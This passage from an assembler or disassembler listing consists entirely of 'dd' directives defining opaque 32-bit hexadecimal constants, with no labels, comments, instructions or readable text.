0D85315A4h dd 6925736Fh, 95A049BBh, 0F830D02Eh, 66F4A7F0h, 0DCA47A13h dd 72906Fh, 4246355Fh, 772EA0A6h, 76774EBAh, 59D91705h dd 0F400F8ECh, 0F5257FCAh, 3FF20A0Bh, 0A6588C78h, 89C711C4h dd 0DEFB0225h, 58DCD428h, 45002DB7h, 0FA43ECF4h, 0FD260Ah dd 0D29EE74Dh, 0F92A7902h, 38F0ED4Bh, 95B8Ch, 0D8A47F98h dd 0FF26C78Dh, 0FA08887Dh, 99A6197Eh, 3C252E64h, 698D8003h dd 0B4B5B184h, 0BDE0813Fh, 477A00E7h, 3D4A1480h, 0F61CECF9h dd 2FF797CAh, 1CC2328h, 9BEAD92h, 958297Eh, 0A89C5871h dd 6509A450h, 24A8EBF0h, 11CCE6C0h, 0F884812h, 9F4561D3h dd 597198BCh, 1AF279F0h, 0B13ED76Bh, 465E005Eh, 241007EFh dd 74E1639Bh, 3836A965h, 58C49778h, 2795A401h, 770B422Ch dd 0E6BCA47Ch, 62B038Ch, 4A8875F8h, 0FE13BEB8h, 0EC962616h dd 9A684404h, 0F2DCE212h, 403C31EFh, 8D8CFF83h, 0A9E1909h dd 2510647Dh, 8801841h, 0FB65151Ch, 79A7489Ch, 4602006Ch dd 0DC08CCF6h, 0C7746425h, 761F8BB4h, 0E1E47C65h, 0AAC0A363h dd 0BD5E42FDh, 9D132C00h, 9F206Ch, 0F1D0E298h, 16B8DA18h dd 0B4C0B0ADh, 86BABDh, 38678D78h, 46D292F5h, 30FD6424h dd 6A08C560h, 7C6D4884h, 10A03A4Eh, 0B3C075EEh, 6CD6D1A0h dd 0D84A7A27h, 0BC44A630h, 0EF46562Ch, 60A58B00h, 0B8C11467h dd 61252798h, 0A11C6002h, 345425F5h, 2306804h, 10B31598h dd 1181177Ah, 5810D8F0h, 0D216E87Eh, 9AF8327Ch, 94ADE8C4h dd 7378E0CFh, 24D3005h, 69E6A51Dh, 0DF01742Ah, 4CD3DCF1h dd 0D300E390h, 0DB07521Eh, 553E6669h, 1F04799Dh, 15AD7770h dd 30B388C2h, 2C084519h, 62E308DEh, 0B3007CC9h, 3EF4521h dd 3108EE56h, 14B59780h, 0BC4044BCh, 6872F3EAh, 9A2CFB0Eh dd 0EBCD0B96h, 73BE2448h, 0AAE4B00h, 0C189D89Ch, 0DB7A0070h dd 0D615B39Bh, 0E09C398Bh, 0FDDA7F05h, 0B01CACD0h, 0DB764B20h dd 0FE2281C4h, 38F0CE96h, 1148C0E2h, 7B97F75Dh, 0D8334807h dd 0A811FA3h, 0E06D10E3h, 12015AB8h, 20B5AEF6h, 6B2B16D5h dd 39BA0088h, 6C1750F1h, 517D02EAh, 8DCB0922h, 893B34D4h dd 0F40BA0B7h, 33804E3Ch, 3982FA87h, 630458F6h, 0D6B1F3F7h dd 2972F4C2h, 296AD4A7h, 7D820C51h, 40B19DAh, 0B080E494h dd 844EA92Eh, 38CA400h, 0B5FDC4h, 65F9299h, 0B91BDCF3h dd 0D6C032B7h, 0FD465678h, 92AC1Fh, 2364E042h, 5A0CE7A0h dd 0D9BDF206h, 81D50B2Bh, 0E4D8DE52h, 405CF009h, 6BD864CCh dd 0F46581EBh, 9F60F2E4h, 0B2057A06h, 0A841A0Ch, 39DFB4D0h dd 13084FE8h, 16CF2E0h, 34AF36F7h, 0D660C607h, 1C99C696h dd 4A256A7Ch, 23588585h, 0D8E064A6h, 9491F919h, 0CBAFE880h dd 4C3A58h, 0AC2884F3h, 856CF702h, 61DEF609h, 74D0E8h dd 68FC0EBDh, 19F28030h, 919748BAh, 8989B178h, 24A0481Fh dd 7069BE44h, 0B002C8B4h, 7891427Fh, 5CF4135Ch, 95704174h dd 8008FC33h, 8FC44540h, 0B54215A5h, 0CEE4284Bh, 0C0CE8820h dd 7E3EC9C4h, 59D84E05h, 70ED0584h, 0C6C1C63Dh, 465EB8D4h dd 0EFEE06DFh, 5EF8150Fh, 0A080C2EDh, 0EF7148D1h, 4F6C419h dd 355F3705h, 0FA816D92h, 29D3FF91h, 0D47F70h, 589C89C6h dd 0E100D2D7h, 744E6B8Ah, 3471DD28h, 0F92D47h, 340569A0h dd 0D60C0D6Fh, 715DEF64h, 0B23AFAE5h, 84F11630h, 8A240818h dd 0AC5AC8A0h, 6D976C00h, 6B92096Fh, 0CC4559B2h, 3360CFE4h dd 3C0FD10Bh, 0AB6785DDh, 0DF60E009h, 7F220B34h, 78D04669h dd 5C09D098h, 0A717EE21h, 9E4097E8h, 9811A3F5h, 0E46120FCh dd 4718432Fh, 60F1C4C8h, 1E31D2h, 0B0981218h, 0C98C8F2Ah dd 0BE060116h, 0CD88A08Eh, 0C6F0E3C7h, 8C7FA2h, 74CF227Bh dd 0DA8DBE4Fh, 52D93913h, 7EAB0C81h, 8600A832h, 0A06CADA6h dd 0DF0E6BECh, 215B57CEh, 7785205Eh, 23583B2Fh, 8D1C00EAh dd 83B422DCh, 0B721BB02h, 76E9F2D3h, 5C47AD68h, 0D560E6C4h dd 700AC0Dh, 0E3F627Eh, 5E5059BFh, 1454C202h, 0F68D7F20h dd 0BBA02D36h, 385F6C60h, 0EC02D04Bh, 0E1700E85h, 8214A750h dd 80F0116Ch, 81F8434Ch, 58FFB897h, 4B2BE871h, 30713FCCh dd 8318CDF1h, 4AA09E1Ch, 0CEE020ADh, 0C01D82C5h, 54468E58h dd 0B70ECD83h, 0C0B32819h, 5D4EFCBCh, 169891F0h, 0F5A0A022h dd 5CC17C12h, 7A3A9871h, 5537FC00h, 3CB82D01h, 0ADDFAB8Eh dd 0D92F3426h, 9E193C10h, 0BC70FF4Ch, 72008CCAh, 0C3BE32E4h dd 9BFF2B7h, 1FA5D7E2h, 0C600F052h, 88600159h, 9E9A1Eh dd 42DAA8AFh, 14166946h, 0F8F198A0h, 70A0F45Ah, 81C375C9h dd 74D087Eh, 3F599B51h, 0CA5C50DCh, 0BF0EBCC7h, 92D0D74Ch dd 9FAFA400h, 4D9DBD8Eh, 65095CC0h, 0E47103F5h, 864A6201h dd 0FC42710Eh, 0C89E25F1h, 0B8007F1Ch, 0FC45D460h, 9807FD49h dd 9CBF2F08h, 3EF60040h, 7EBB0D1Ch, 2B871064h, 38202A13h dd 6EFD9F5h, 0F2FB0484h, 0F40AB9EAh, 0D0653454h, 737F9D04h dd 312658B9h, 2A7210B4h, 0C880A89Ch, 282E6ACh, 9B53784h dd 0CA78C0D9h, 6400867Ch, 31078FFBh, 9F38EDEh, 7861BEA0h dd 7C90D078h, 0ECCEFA20h, 0FCD1C066h, 997A4B3Dh, 732820F9h dd 1FB3A0C9h, 80C89178h, 884D22AEh, 6830235h, 0C7569180h dd 0E4D022DDh, 705007FCh, 9DC9336Eh, 883CAD58h, 96638375h dd 0B4D021BCh, 5E501D11h, 4A8158E4h, 0B8ACE914h, 157F0024h dd 88043AB0h, 0CF295C69h, 9E05F898h, 0F0029A76h, 0D77DE422h dd 0BD29AC98h, 134380h, 8E5F35FEh, 0E7547B45h, 0E8D4205Ch dd 0A6008CFEh, 7163895Bh, 1EB1C74h, 754B85D4h, 809386EAh dd 0FA2795B9h, 259910Bh, 0D9DD09CBh, 0AC600121h, 0CCB540ACh dd 774C00D8h, 1D455C7h, 5C00868Bh, 0BA73607Ch, 41BA0C5h dd 1E1466B7h, 0F200F2C1h, 337A30F0h, 243FCDF2h, 7C680B85h dd 810F931h, 9409EF69h, 27C4F96Fh, 0FD6434C5h, 0EBD6D360h dd 87F4E700h, 13373D97h, 5204E47Dh, 3E15CBAh, 38300C76h dd 0D609BD9Ah, 88444A81h, 50C0515Bh, 12DAED55h, 8717E869h dd 7E086F90h, 0B4A17516h, 0FBEC8078h, 0E009008Ch, 5C167999h dd 5F07214Ch, 0C5F27D92h, 60B8982Ah, 194F6A31h, 0E82C00E1h dd 79C98EF7h, 620927F2h, 822B733Eh, 21B714h, 1BBB69DBh dd 8052C0CFh, 0DFB3EFCFh, 1CC0E23h, 0BFE01DC6h, 54696D21h dd 7AFBC02Dh, 80AAE0B4h dd 0A27549D6h, 0CD3FBF17h, 25930E4h, 0F054933Bh, 0C0F4C039h dd 6022273Eh, 0C7CB29D4h, 14427F48h, 846801CCh, 647C3D3Fh dd 1669261Eh, 8FF4A8EAh, 710D0433h, 1D48CFCh, 6C607D2Fh dd 3C4E54F6h, 0A582C8C5h, 0CECCC831h, 59D7265Ah, 0BFB889E8h dd 0F0E47845h, 36655960h, 5639C524h, 31FE813Eh, 0ED882724h dd 0B1DD9F4h, 7196C985h, 0E7214CE4h, 206D2574h, 96243D40h dd 0B79702F8h, 4C53D59Dh, 0B0CA0D8h, 0F80D71E3h, 0CFCE0B45h dd 0A0711390h, 67251D4Fh, 75F0627Ch, 0D95218h, 1D4EBB96h dd 8974F5C3h, 0A091CE5Fh, 212E1AD1h, 6B7DDDF0h, 0CB10FC3Bh dd 0AF94C07Ch, 258BABh, 394609D6h, 0A85CF597h, 71C484B0h dd 30A8EBA5h, 0DF71F09Dh, 88975461h, 5E08C004h, 48496729h dd 5030DB4Bh, 91021F1Ch, 6436E078h, 7819DF69h, 97F6103Ah dd 0DA380151h, 9C5ECEF1h, 0A2302372h, 0EA8D30F2h, 0A516EF16h dd 0E93874C8h, 7361E8h, 1CDA10D5h, 7C037FF5h, 0DF77E407h dd 9F272FB2h, 5551E2A2h, 8D25AC80h, 84A84361h, 3A5E67A0h dd 0F4AD1082h, 0F4465C3Ch, 896BBD0Ah, 16051180h, 98ECAE8Dh dd 3180B6CDh, 94689Ah, 0A904F53Eh, 0E4A746C7h, 0C8F801F2h dd 0A4E5091Bh, 0E088A2Eh, 0F02FE25h, 40F203FEh, 58E73AD3h dd 942C876Ch, 0DAFB8508h, 208CCC72h, 840B84Dh, 37D077F2h dd 8C109918h, 8C5BF526h, 0B79E54F4h, 63B51448h, 0CA94C800h dd 64C6808Fh, 0ED0144FEh, 302E812Eh, 2717088Eh, 1AE08C7Fh dd 0E8A62D06h, 69DE16C5h, 1998B0A0h, 0EC566418h, 28A2830h dd 7BFFBACDh, 4470E974h, 0CC00095h, 0B141D7E4h, 94CA1410h dd 50063510h, 1F1F988Ch, 0D581551Dh, 0C4485467h, 49DDB884h dd 254A875h, 0F2061476h, 7C045EC9h, 0A401E046h, 926980FDh dd 98442EEDh, 0A887D33Eh, 4429D0E1h, 0DFD8307Fh, 0AC91D4F1h dd 0A8450E12h, 0A8177105h, 0D9E078E6h, 0AD0F0445h, 765DFD6Eh dd 70A29004h, 0CC58830Bh, 6C8C2D5Eh, 6D664465h, 92303498h dd 69DF211Ch, 380F9D8Ch, 42779785h, 86ADD9F4h, 9644D45Ah dd 42970095h, 6A033878h, 0B1594D84h, 0C9260640h, 4E28FDDFh dd 0F3F4D122h, 0E84E70C8h, 20169400h, 519F0E3h, 92767D69h dd 526D0014h, 3D67A580h, 1795FF85h, 7CCC089Ch, 6B8ABD60h dd 5993350Ah, 76F8D039h, 3007AAC0h, 0F474514h, 71E4E8C9h dd 3A260F9Ch, 5B00E7C1h, 0C88E172h, 63E4120Eh, 0F558C1C7h dd 0AAFCFD30h, 0EA4F1B75h, 0BFC8D9CEh, 4097E439h, 8AE01FD0h dd 465E9C56h, 9EBF01EEh, 0CEB60402h, 208239A5h, 207B6695h dd 507A810Bh, 8C2D1444h, 0A25B4820h, 0A7C200E4h, 0B501073Fh dd 0F0D2011Dh, 0F2FB0584h, 38227BE6h, 79EC48A9h, 0C4C2252Ah dd 7B2FEC58h, 5F747AADh, 674490DFh, 709C9236h, 0CB7910Ah dd 2A9F329Dh, 0B8F1C2D3h, 0DE5CDA2Ah, 0E56B29C0h, 1B49A87h dd 1F7FF645h, 201A6607h, 8D204AF4h, 61257CE4h, 34FBF156h dd 0F2502197h, 4710090Bh, 76016244h, 14E3BC18h, 9017A57Dh dd 5C5D184h, 0C8BDD9FBh, 13B84503h, 0F9EDD38Bh, 2D5B8A4h dd 73DE66DBh, 409C719h, 0D4A02964h, 6B609644h, 39516CF3h dd 1E90B8F7h, 28BE6CBh, 0A3C09752h, 64F0DAEFh, 18209F45h dd 0C6ED40AEh, 0A42FEB5Ah, 7A02F623h, 50468118h, 352713CCh dd 23683AC2h, 15D500EEh, 7A666782h, 5005E22Eh, 0DAED4580h dd 541FCF7Bh, 5E06F06Fh, 7C9088F7h, 3A9A112h, 4B310433h dd 0B8A259h, 197EC19Ch, 28E2A5h, 4CD95E3Ah, 0B069A070h dd 0E56A4B0Eh, 95420254h, 11C480F1h, 5864AD8Bh, 0FF816CF2h dd 0D2CA78h, 90033D6Ch, 0EAE044A8h, 82B8514Dh, 0DC4D7BD4h dd 0A49D1230h, 67166F68h, 0B0428584h, 0DF9C74A1h, 0A2999C90h dd 0FEEDCA00h, 6C8F0ADDh, 128F902Ah, 0D339F0C0h, 78101A78h dd 110017DFh, 0EEAAC898h, 2F05348Ah, 6446D0F3h, 2B91AC6h dd 771E6A50h, 0AC6786C2h, 960CB44h, 0ED004DBAh, 0BC220A5Dh dd 0BD5F06Dh, 0B060FC53h, 16CF447Eh, 5080C8DBh, 0F69A5361h dd 0BE122778h, 38EDA441h, 0B1719E18h, 950515FFh, 0CA17A37Ch dd 0E2420FEh, 0CC0B9E60h, 30687DFh, 38E0862h, 207FA469h dd 86911767h, 0F64034F5h, 7E2D2F13h, 338070D5h, 0FCA3D72h dd 452B3EDAh, 7525FF94h, 0E87784D2h, 910490B4h, 400FC568h dd 0D8680157h, 6FFF7461h, 7DCA74D1h, 0F2D8E204h, 0EA930CEh dd 0B816F570h, 84D4F364h, 0F088BC84h, 98849DA0h, 0FD0D40CCh dd 5E64C039h, 10C8B36Ah, 0F13FDA02h, 0A23C0C96h, 0BC7328h dd 48F800F6h, 0C69B5C18h, 0D8094110h, 0F2EE8C59h, 5EDF173Ch dd 0C7EC301Ah, 0C09DB841h, 0AC84192Ch, 5678B490h, 877B6321h dd 0DB1FCC7Eh, 70916490h, 5561D988h, 96ED4DCh, 6064755Ch dd 5CD4DEE3h, 0ADA603F4h, 0E95C39DEh, 0D686002h, 0D0744175h dd 0C4D9DE8h, 0C19398C0h, 3BDF03C5h, 84F59FADh, 8C1CD5BCh dd 359DF804h, 0FB0285C0h, 427C8029h, 68BFE609h, 80BDCD3Ch dd 90207E35h, 20489818h, 0B17B901h, 0D8B15D43h, 2E746C24h dd 0A5747841h, 6072DC53h, 4165F8Ah, 4AFDAC75h, 7A18D0B5h dd 765EEC54h, 0A70544E6h, 0C32C5BB6h, 7E99731Bh, 93A9BC6Ch dd 5CC13974h, 0C92ADBFBh, 135DF1A0h, 0A187B82Bh, 0D43724EAh dd 73460804h, 0A00C8342h, 0F9E27DACh, 90EE9518h, 10683948h dd 885FE968h, 3125EE8h, 32AA66C2h, 78402B0Ch, 0BE0247A0h dd 36681346h, 4320487Ah, 0D8F04E64h, 0E1E517BCh, 0EED855DFh dd 5756020h, 6E7261h, 0E701DC5Dh, 1E65A5CDh, 125F3E05h dd 12FE1C98h, 17CAC1FBh, 0A24073B2h, 9E0E3002h, 2510A09Dh dd 7505ED19h, 8FA0C0BFh, 0D7FBC717h, 8B7470A0h, 42D60D27h dd 24048540h, 8108BCA9h, 0F185D5E6h, 981E501Eh, 68D63A7Eh dd 801EF718h, 28F06E16h, 59ED607Fh, 41EBEC7Ch, 0D3D5B200h dd 0A08D1345h, 5605014Fh, 8085BA63h, 0ECDC5491h, 43C8E8A4h dd 3FA0007Ch, 74693AFCh, 1F557168h, 12979BD8h, 0B28F29Fh dd 64DEC58Dh, 9484813Ch, 0D310482Fh, 0E47C45A7h, 95A560DFh dd 9FB8B9D6h, 60B86DD2h, 0C8A47A09h, 0D861C10Bh, 983410F5h dd 14C22F54h, 7AEAC410h, 300E8D00h, 4D20A3EFh, 0EB6700C7h dd 6EF203F5h, 790BB42Ch, 60B3BE2Ah, 4D718C04h, 290028EEh dd 0B82285CFh, 1303E7ABh, 3DC23426h, 2EB9D902h, 68223471h dd 0F630025Ah, 82FDCD8Ch, 9A1DE748h, 9A2C569Ch, 0B4821170h dd 0FF21E39Eh, 19DC0B01h, 0E83395FCh, 0A5493851h, 7790A330h dd 579682FFh, 937DB890h, 8D8FC27h, 875288F8h, 0C9828C2Ch dd 9E3444BEh, 38D010D8h, 0B0EA2D70h, 41818468h, 0A8B02A5Eh dd 6E941A41h, 785A816Fh, 71C15DF6h, 0E032598Dh, 9C5120AFh dd 850B3D0Eh, 202C7C79h, 0F2182251h, 0E19A6110h, 4449257Ch dd 0D6D580E0h, 1AE83701h, 49D2A97h, 0FB704A6Eh, 0FF213CC0h dd 11747A82h, 0F0460B59h, 61B3E06h, 1997EF3h, 26DA3DF6h dd 3FFA3167h, 20B488h, 23A69A8Dh, 0F9D844C8h, 34E6FF09h dd 9CB50087h, 0C16DAFCh, 0BDD68603h, 0D0009E21h, 0CC7F48BFh dd 26E52DFCh, 2A38CD7h, 0CFB63ED8h, 7900BCE4h, 9BB2116Fh dd 1519EFh, 17BE84EDh, 3EC1241Eh, 943B5800h, 0B93DD8ADh dd 26140B30h, 0E880D73Fh, 0DDF27FBAh, 0F6806095h, 0CBD82054h dd 20303567h, 0D57ED022h, 18D07815h, 0F4A0C341h, 0F6A1B2BCh dd 60108C51h, 40460878h dd 3640A14Fh, 0E0214061h, 4090F140h, 5E400D7Fh, 1943643Ch dd 0DE6D048Dh, 60F41812h, 880F434h, 4DD9801Bh, 0EB0971D8h dd 88BA8162h, 850A871h, 0B5085842h, 29C01B69h, 0DB023F82h dd 7901028Ah, 249AD02h, 0BC022FF0h, 0F30F035Dh, 202E5920h dd 7E2020D5h, 0B9DA6631h, 0B4639177h, 31320749h, 31C8C889h dd 70240194h, 71874999h, 0C4EC0148h, 4E4F2888h, 94A13518h dd 0B7EB831Dh, 0C0F12019h, 1998D308h, 0D0CE6180h, 0AA5408C4h dd 69855906h, 6410B562h, 0C33C02D8h, 37396C06h, 0AC1892E5h dd 29405091h, 86462AFh, 0DF026372h, 46D705E2h, 40AC7CC8h dd 32599920h, 0BF10D54Fh, 6508DCAFh, 88E9708h, 0F118F6CCh dd 80E509E1h, 0C48035E4h, 66D0A9F7h, 11A5401h, 3A0793B4h dd 3CD2889Ch, 0D868808h, 0DE087105h, 2A2FCCA2h, 250B902h dd 0B30338D3h, 91D1665Ah, 0B20D981h, 29246EE6h, 0CA6C4412h dd 0BAE30668h, 2E512010h, 18084B49h, 2018C29Eh, 0F05680E3h dd 81D33080h, 0C62188DFh, 0E4A0087Dh, 24333A09h, 0B704461Ch dd 199D0653h, 897740A9h, 0A8E12C40h, 803EE0C8h, 0D2819148h dd 0CEE49451h, 822D6888h, 8794908h, 0A615DF10h, 237C1094h dd 20A0932Ah, 0CE208C6Ch, 4DAD20E1h, 204A8320h, 86666A32h dd 20094999h, 1F2040A7h, 9C1A5464h, 544892DCh, 0CADED808h dd 88BC36A1h, 0F008574Ch, 0D0EE155Eh, 6D49C47Ch, 55BA045Ch dd 0D8ADD106h, 20240A20h, 0F724E585h, 4C9974B8h, 0B8529B10h dd 3AC0A44Eh, 425E9C91h, 32F839A2h, 8BC94352h, 67E2302h dd 52F74109h, 0C44896E4h, 8C6D443h, 3118DD36h, 76087A2Ch dd 0DC0A016Dh, 1896201h, 0AB0273B0h, 0D73DC048h, 6FB708C5h dd 78498442h, 8134561Fh, 258BF62Bh, 0D394648Ch, 1D3033F0h dd 53DD108Fh, 50100B9h, 0C2F4609Fh, 74F52DDAh, 4009620h dd 0D76BB215h, 1C34583Dh, 0ED8A394h, 9A82F2E3h, 0D8C6A606h dd 0A55ACE00h, 0E6CA4C64h, 6B840101h, 40958CE5h, 44F02B4Eh dd 0B87E189Dh, 39F4300Ah, 0D4F0A018h, 1F913640h, 30DB9D01h dd 33CF180h, 0F20935Ch, 0C41BEh, 1C79D958h, 48A30197h dd 0F63D4326h, 493EE883h, 0B6120300h, 1B9939A2h, 97280025h dd 9319BDB1h, 4600A745h, 0D1758A5Ch, 0DC01201Fh, 0FD908FB8h dd 89E8FCB7h, 18D8DA2Fh, 0B8772B94h, 4A0CB49Ah, 105FEA95h dd 0C8E71CBCh, 0D183FCD0h, 0D8F1FEBFh, 3795E6C0h, 74C73B01h dd 8FC99602h, 0D297308Bh, 0B07F5C90h, 0D6980954h, 0C0C6F207h dd 0D031E7E6h, 0F084C7BEh, 0A00B9D7Eh, 6C1B15B0h, 0E161F203h dd 18BDC159h, 0CA209886h, 1E1828D7h, 2D61DD5Ch, 223C8072h dd 3F8FD50h, 65712503h, 0D46A20h, 7490D530h, 0FFBCCBB1h dd 0F5E8B601h, 0A145193h, 2A3E130h, 9DB9D0C9h, 0C880F031h dd 4822F60Dh, 0E3567E18h, 78427C60h, 57B52430h, 0DEFB1C38h dd 7FE10CABh, 2013820h, 20342F08h, 0B0507048h, 3C3195A6h dd 1C0074E8h, 0BF6D1D5h, 7D307ED8h, 2AFC38C3h, 0E009F8F0h dd 0B8DC1E2Eh, 0C57E46E6h, 213C2071h, 0C8F1301Fh, 3FD0A97Fh dd 6A29D285h, 597D8094h, 6BCA1FCFh, 8A3378CFh, 7914D0E8h dd 0DBF480F0h, 1BA1F2h, 79CCDC7h, 95F64EC1h, 0B31FC600h dd 0EBB17C4h, 0C0735E96h, 2715B2F0h, 0E17A9518h, 49E6A2C0h dd 88642414h, 15248859h, 0F2D320C0h, 1FB62414h, 0B0E07E2Bh dd 0FE1DC078h, 20039C0Bh, 0D5A0E065h, 127E7995h, 5CD2F0Ch dd 0E5E4C694h, 0FDD885FCh, 5C5EB213h, 11A04E0Dh, 70F0C840h dd 15120AE6h, 91444F2Eh, 0FE0E0A25h, 9D050C43h, 0EC013A1Dh dd 0D19719A2h, 0F112FC69h, 0B9BC0989h, 0D59D4802h, 0A0ACC58h dd 0F0FA203Eh, 7BF85614h, 0A8961F78h, 17951800h, 3D14AD5h dd 7EF2DECDh, 0A07EB5A9h, 1081DF4Eh, 0CFCDDDBBh, 0A6B440F2h dd 0C45C04F7h, 148D9A95h, 39712194h, 0EBF2F1E2h, 9813EC9Bh dd 24E14C1Fh, 0E820B844h, 26F1F3F2h, 182CC909h, 9AC6B9BAh dd 867EBE00h, 35C01C26h, 1FCE909Dh, 64178236h, 44B8A00Ch dd 4304D518h, 89A37E2Dh, 465E1Eh, 15BAA8FBh, 2E54FD19h dd 9EB87108h, 0D5C18560h, 77E7D4h, 502F0A2Dh, 0C651287h dd 9525E504h, 2490F669h, 0A14CA89Dh, 0D892D9C0h, 7F4C0997h dd 2BFD2882h, 0F0BCD498h, 62FE80h, 181404EDh, 65C63B4Fh dd 8DE05B15h, 0F07E09F0h, 3CCC2177h, 8C22C97Ah, 0F96B940Ch dd 0B500C0A1h, 6C443FE2h, 0A098A6h, 0DBCB2B7Ah, 6DD496F5h dd 172E920Fh, 5C22E010h, 56AE77h, 0C557CDF7h, 0D1BAF560h dd 0AC159501h, 342E2AD5h, 127D0840h, 0AF7E1836h, 10138892h dd 0BFC4D4Dh, 5A3AD0E2h, 22FF1824h, 1513B9C9h, 29CC8574h dd 60DB4EFAh, 2FAF1068h, 8D61287Eh, 0D03A1751h, 28928ED9h dd 956831FDh, 0A446236h, 3CEE9F13h, 471F2E83h, 95201208h dd 8418241Ch, 93200434h, 337892A9h, 0F01580C8h, 7F114406h dd 0EC30E839h, 9EF90B5Eh, 80781812h, 5C5A1F1Ah, 1C385481h dd 0B9468B93h, 43109C0Ch, 0A8F33400h, 9E7E0BCDh, 9C5D48F2h dd 0A080F827h, 48AF654h, 0BF99AF1Fh, 18A5320Ch, 0E8D84834h dd 397E450Bh, 3582F040h, 84379801h, 0F5B034C1h, 5820A321h dd 0DD8A13ACh, 0A2E800CDh, 0BE9081FBh, 0BA853Fh, 60B04B86h dd 58FD9Eh, 0ED4EC903h, 97251CDDh, 1A8E9900h, 3076F0E4h dd 8D15098h, 92AFF07Eh, 361B0328h, 0A2208ABEh, 0C029A12Fh dd 93C56BACh, 4D02A58h, 0F7FFC9A4h, 0FD96C0A1h, 0F6003402h dd 0FC03BF89h, 26FE243Dh, 84E84E7Eh, 819A851Ah, 297AF54h dd 0CDDC85D5h, 2C09082h, 0FC40D17Fh, 9380BCFCh, 0A6D8A8C9h dd 60FE8064h, 74880B4Dh, 0EC1D9098h, 8026F90Dh, 0B57F2E40h dd 0F0965A7Eh, 2048FC60h, 6BDFC4B4h, 0D5F8770Ch, 97727A00h dd 7919EDB9h, 81F60021h, 36D61805h, 7E139EE8h, 0C861D9EEh dd 7A021A7Dh, 0B84CFC6Ah, 676DF518h, 2E960B28h, 812C657Ah dd 0EF953FD8h, 0CECA01F9h, 663C8033h, 4154FCC0h, 10616454h dd 20922D20h, 1824F3C1h, 0E88B3AFDh, 3C68DE26h, 3D4742Eh dd 97E17F18h, 522B4800h, 0EC47A825h, 7A50209Dh, 330F103h dd 356784DDh, 0BD10F6B8h, 0CD77132Ch, 4031B448h, 64FB502Dh dd 3A9D93Eh, 8EB4E77Fh, 564CB2FDh, 12851608h, 0BDC6128h dd 228DD1C2h, 7E4481DCh, 0AF07A7EDh, 877DE705h, 4075854Eh dd 0A2220DDCh, 88DFA6DDh, 850504E4h, 2880D212h, 0C2C20D9Dh dd 0EA92FE98h, 9880C8A9h, 4ACD142Dh, 0FD8A24Ch, 0A48CD7C2h dd 68AC769Ch, 9B45A703h, 0E0D856F9h, 0F1247EB9h, 0FE020CFAh dd 80DD1158h, 3EF52AA4h, 24DE1605h, 0A5300F67h, 0A2473724h dd 4A7C1314h, 0B8D0541Eh, 0C119627Ch, 3450D320h, 8E010490h dd 959AC19Dh, 20865880h, 0A02FDDB0h, 69676C00h, 933442FCh dd 5B3301CFh, 3CA01D7Ch, 0F7688AB8h, 0A241CC2Fh, 3C7404EFh dd 208C90C1h, 951CF284h, 66873B96h, 0F3C32DB4h, 33192C2Bh dd 0AC6894h, 0A02DF509h, 18C4CB45h, 0E481F00Eh, 0B460E0DFh dd 0AAFD7E97h, 84B467D4h, 0D0FC3815h, 20D0DAB4h, 48D4C8A0h dd 6D1EA490h, 0C20AC5A6h, 0E30060E5h, 0E89E5DFDh, 0A0086FADh dd 0D9003EA8h, 0AEBA6D6h, 8E2F28BFh, 2614ACF0h, 0E0343115h dd 2550CF61h, 80A8A43Ah, 2D3D97C5h, 39AE6D17h, 0F9E3AD20h dd 1DF93F30h, 3268609Eh, 0D61F84E4h, 97CF8115h, 0CFCCA09Fh dd 123AA33Fh, 0E892F8h dd 0CE0BA743h, 7E152A3Bh, 1EF4815Ah, 8808304Dh, 58FC0A8Ah dd 36970B48h, 0BC4080Fh, 0CF71057Dh, 0A18D48F4h, 0D089EF90h dd 0B01931F7h, 450281Eh, 812432E0h, 0DA107CC5h, 17141D80h dd 0FDB200A0h, 0E119D89Ch, 0DC2895D0h, 0B41FBC37h, 10A6937Dh dd 7E58F468h, 154F2675h, 6044F54h, 0A8FE0AE6h, 36BA209h dd 0E570F698h, 309D70F4h, 0A34824AEh, 0E0003A39h, 0CDC7BEEAh dd 5876722Bh, 9D003C22h, 1FB85244h, 0F8C00C0Ah, 0E8130E34h dd 1CEE6A5h, 8DC6334Ch, 443D2D20h, 0D00DC0C8h, 7B329D7Eh dd 57756084h, 7448B889h, 0FB04F609h, 5D37EF1h, 1438C8h dd 0D506D69Ah, 9DD87097h, 0A4D04D4Fh, 61B4208Fh, 0DE2A60DAh dd 49A877C0h, 12F0206Ch, 30B1C9Dh, 0E13B0C50h, 1FC50D88h dd 0C4005C4Ah, 0C41B2E45h, 0D602255Eh, 895B7087h, 0C9B3A0A0h dd 8CF8E648h, 0BC94DE00h, 0E920FFE1h, 4E7F1B06h, 97E128EEh dd 4014380Eh, 0D1784A44h, 3FF29326h, 0AC8A1F06h, 92D51EB0h dd 0A3E10C74h, 0F6242B10h, 0CC631088h, 391803EFh, 87A8960Ch dd 0BC17580Fh, 0FCBD0A0Eh, 143B979Eh, 22F0DCE1h, 0DB94306Ch dd 0F69F1889h, 2F978704h, 4898EB0Fh, 0E6D805C1h, 40EA9C9Dh dd 68FB03C8h, 0A482513h, 20580544h, 900B6DEEh, 0CAF00080h dd 0A009F49Dh, 586B47A4h, 9879E086h, 183F7B0Ch, 0B8B1F71Fh dd 4494B97Fh, 3438209Fh, 988118A4h, 0C464F93Bh, 0C34B045h dd 9A9DB481h, 145BA759h, 7C4B2495h, 0A0EC0067h, 0CF0DF895h dd 2076B5D8h, 0BDACBF98h, 1BBB9D1Ah, 0C11CC9C9h, 59FC4042h dd 4ECE8880h, 4BB8F114h, 104F180Ah, 95EE488h, 8881B8DFh dd 0C42FD7Ch, 9425841Ch, 0B278C0F0h, 0FD2200A3h, 3F1CED14h dd 0F0B443Eh, 23792596h, 0A05CA2F8h, 18A72D24h, 182F3995h dd 0FA01D0C8h, 7E8A44C5h, 0F88A6E05h, 1C08011h, 74DEBE95h dd 7AC9967Bh, 697E7505h, 44FC9C90h, 346600F8h, 197CE849h dd 0D00D4FFh, 271858F0h, 309DB595h, 37D0578Fh, 4001029Eh dd 54213EF6h, 0C2C03AD0h, 0ACCA207Eh, 2CC0114Dh, 84A608EFh dd 10344216h, 0C7CB8800h, 0E05EAD9h, 4622FDA5h, 9C02C3CEh dd 0ACB2F511h, 0D21FF883h, 7E8CD2CCh, 0ECE9C90h, 60C6F230h dd 0D24ACC9Dh, 0C2380038h, 0DFD6D3A2h, 960A9B05h, 2CC83BAAh dd 2E098877h, 0F4DC6705h, 8CC2AF8Dh, 70E5032Ch, 85A55018h dd 1394C610h, 0C3D3D420h, 13A4FE94h, 58D07441h, 0A847FCD1h dd 3253C7A4h, 1F01977Ch, 0C08015D5h, 6D1020Bh, 29F9E430h dd 54A4274Ch, 8392881Ch, 6F91D503h, 0FC3F889Ah, 